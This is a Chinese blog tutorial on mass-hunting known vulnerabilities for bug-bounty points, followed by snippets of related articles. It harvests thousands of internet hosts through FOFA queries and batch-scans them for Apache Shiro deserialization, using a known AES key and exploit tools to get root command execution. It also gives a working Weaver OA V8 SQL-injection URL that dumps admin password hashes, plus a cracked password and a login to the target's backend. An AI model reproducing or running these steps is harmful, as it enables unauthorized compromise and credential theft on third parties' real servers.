批量漏洞挖掘思路小结

VSole2023-01-10 11:12:08

漏洞挖掘是指对应用程序中未知漏洞的探索,通过综合应用各种技术和工具,尽可能地找出其中的潜在漏洞。一般情况下漏洞挖掘针对单一的应用系统,通过端口扫描、目录扫描、文件扫描等方式对其安全性进行评估,而本文主要针对Nday和1day的漏洞挖掘,帮助初学者在前期能够在公益漏洞榜单中刷积分,当然运气好有时候也能挖掘到大型企业的漏洞,可以提交至专门的src机构获取现金奖励。

0x01 整体思路

整体思路主要如下所示,下面通过Shiro反序列化漏洞和泛微OA V8的SQL注入漏洞进行演示。

1、寻找Nday或1day漏洞

2、寻找漏洞所在应用程序特征

3、通过fofaApi导出对应的IP地址

4、通过批量检测工具对导出的IP地址进行筛选

5、验证漏洞并进行漏洞利用

6.、编写漏洞报告并上交src

0x02 漏洞挖掘

Shiro反序列化漏洞

Shiro框架通过记住我的功能,在用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,并对相关信息进行序列化,先使用aes加密,然后再使用base64编码处理形成的。在网上关于Shiro反序列化的介绍很多,我这里就只简单介绍一下,详情各位可以看下大神们对其源码的分析。

(一)通过fofa寻找特征

app="Apache-Shiro"
header="rememberme=deleteMe"
header="shiroCookie"

(二)通过fofaApi导出相应的IP地址

项目地址:https://github.com/k-fire/fofa-tool

因为我开了fofa会员,可以直接在fofa.ini中配置邮箱地址和api,然后在下载的脚本目录下执行语句

python3 fofa-api.py

规则:
{'rule':'app="Apache-Shiro" && header="rememberme=deleteMe"','page':'','size':'10000','fields':'host','is_full':''}

(三)通过批量检测工具对导出的IP地址进行筛选

项目地址1:https://github.com/arno567/ShiroScanF

项目地址2:https://github.com/sv3nbeast/ShiroScan

1、下载这两个项目,主要使用ShiroScanF来进行批量检测

2、从ShiroScan中下载ysoserial.jar放在其目录下

3、访问http://ceye.io/profile,获取dnslog地址(如果没注册则需要注册)

4、修改shiroFscan.py第124行的dnslog地址

5、将fofaapi导出的out.txt中的地址放入目录url.txt中

6、在ShiroScanF目录下执行脚本

python3 shiroFscan.py

7、查看dnslog返回的信息

8、利用反序列化攻击进行攻击

项目地址1:https://github.com/j1anFen/shiro_attack/releases/tag/2.2

项目地址2:https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51

1)shiro_attack:

其中密钥 kPH+bIxk5D2deZiIxcaaaA== 在shiro_attack中不存在,而是kPH+bIxk5D2deZiIxcacaA==,虽然显示该秘钥不可用,但是检查当前利用链还是可用的

成功执行命令whoami,执行为root权限

2)ShiroExploit


泛微OA V8 SQL注入漏洞

在泛微OA V8中的getdata.jsp文件里,通过gatData方法将数据获取并回显在页面上,而在getData方法中,判断请求里cmd参数是否为空,如果不为空,调用proc方法。其中它存在四个参数,分别为空字符串、cmd参数值、request对象以及serverContext对象,通过对cmd参数值进行判断,当cmd值等于getSelectAllId时,再从请求中获取sql和type两个参数值,并将参数传递进getSelectAllIds(sql,type)方法中,从而在前台构造POC语句:

http://xxx.xxx.xxx.xxx/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

(一)通过fofa寻找特征

app="泛微-协同办公OA"

(二)通过fofaApi导出相应的IP地址

项目地址:https://github.com/k-fire/fofa-tool

在下载的脚本目录下执行语句

python3 fofa-api.py

规则:
{'rule':'app="泛微-协同办公OA"','page':'','size':'10000','fields':'host','is_full':''}

(三)通过批量检测工具对导出的IP地址进行筛选

项目地址:https://github.com/Yang0615777/PocList

1、进入下载项目下,执行以下命令,将fofaAPI导出地址放入即可进行检测

java -jar FanWeiOA-V8-SQLinjection.jar

2、访问其中存在漏洞的网站:http://x.x.x.x/login/Login.jsp?logintype=1,其中该特征属于泛微OA v8系统

3、通过SQL注入POC获取管理员密码:http://x.x.x.x/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

4、md5解密,得到密码为 ASD$%^123

5、登录目标后台

0x03 总结

本文主要介绍批量挖掘漏洞中的小技巧,希望能帮助到刚入门的小白,如果各位大佬还有其他批量挖掘思路,欢迎在评论区留言探讨。

本文作者:特mac0x01, 转载来自FreeBuf.COM

漏洞漏洞挖掘
本作品采用《CC 协议》,转载必须注明作者和本文链接
src漏洞挖掘浅谈
2023-02-20 11:22:13
信息收集就说到这里,信息收集的主要目的就是扩大可利用面,10000万个资产你可能碰到弱口令,但1个资产你肯定没有弱口令挖掘前篇前边已经讲了信息收集,在测试前为了能高效的挖掘src,就需要有数据进行测试,这个数据就是我们常说的字典,字典怎么来,整理,收集,经验,积累。金额,数量都是可以篡改的地方小结挖掘src漏洞最主要还是挖掘逻辑漏洞,无非就是耐心,细节,多留意数据包的可疑数据,数据包所实现的功能。
首先要上分那么一定是批量刷漏洞,不然不可能上得了分的,然后呢,既然要批量刷漏洞。两种思路:1.审计通用性漏洞2.用大佬已公布的漏洞思路1难度较大,耗时也较长。思路2难度适中,就是需要写脚本或者使用别人已经写好的脚本。这是泛微继与微信企业号合作后,又一个社交化管理平台的落地成果。简单的说,一般比较大的企业都会用这个平台来做一些钉钉或者微信接口对接泛微OA的功能。
关于漏洞的基础知识
2022-07-20 09:44:23
黑客可以通过修改事件完成的顺序来改变应用的行为。所以,进行有效的验证是安全处理文件的重要保证。这种类型的漏洞有可能是编程人员在编写程序时,因为程序的逻辑设计不合理或者错误而造成的程序逻辑漏洞。这种类型的漏洞最典型的是缓冲区溢出漏洞,它也是被黑客利用得最多的一种类型的漏洞
网络安全漏洞(以下简称“漏洞”)作为信息通信网络中在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,随着经济社会信息化、网络化、数字化和智能化程度的加深,对国家网络安全的影响也日益加剧。世界各主要国家和组织为了切实提升国家网络安全防护能力,围绕漏洞的研究、收集和利用,纷纷建立国家级漏洞通报平台或漏洞数据库。日本于2003年开始建设“日本漏洞通报”(JVN)平台;美国于 2005 年开始建设“
细说从0开始挖掘cms-
2022-08-17 16:26:57
确立目标挖洞的第一步首先是确立一个目标,也就是找个cms来挖,这里可以通过github,gitee或者谷歌百度直接去搜cms。或者cnvd查看相应的信息,通过查看相应的信息可以提高我们挖洞的效率,我们从中可以知道该项目已经存在漏洞,我们到时候挖就可以看看相应的地方会不会还存在漏洞或者避免挖到别人挖过的漏洞。本次挖掘漏洞是ofcms,首先先下载一下源码,然后解压丢一边,回到网页来看一下项目文档。
最后对响应的匹配,使用正则识别id命令之后的结果。成功扫描出CVE-2022-1388F5 BIG-IP API Unauthenticated RCE漏洞漏洞的请求也变异无误,最后的响应中也是执行了id命令。案例二:利用Scalpel工具挖掘多个0day漏洞Scalpel工具使用较为灵活,通过对检测目标变异响应的check,可以发现检测目标中未知的安全问题。同时发现某Apache开源项目的CVE漏洞,报告被该团队接受并正在修复,尚未披露。
攻击者可在无需认证的情况下,通过构造特殊的请求,触发反序列化,从而执行任意代码,接管运行ForgeRock AM的服务器。本文从漏洞挖掘的角度分析其中的技术细节,也将公开一些其他的反序列化点。
对于公益SRC来说,想要冲榜就不能在一个站上浪费大量时间,公益SRC对洞的质量要求不高,所以只要 花时间,还是可以上榜的。在对某站点进行测试SQL注入的时候,先通过一些方式测试是否可能存在漏洞,然后可以直接sqlmap一把梭,也可以手工测试,然后提交漏洞。任意注册算是低危漏洞,不过也有两分。不管是进行SRC漏洞挖掘,还是做项目进行渗透测试,又或者是打红蓝对抗,一定要做好信息收集。
VSole
网络安全专家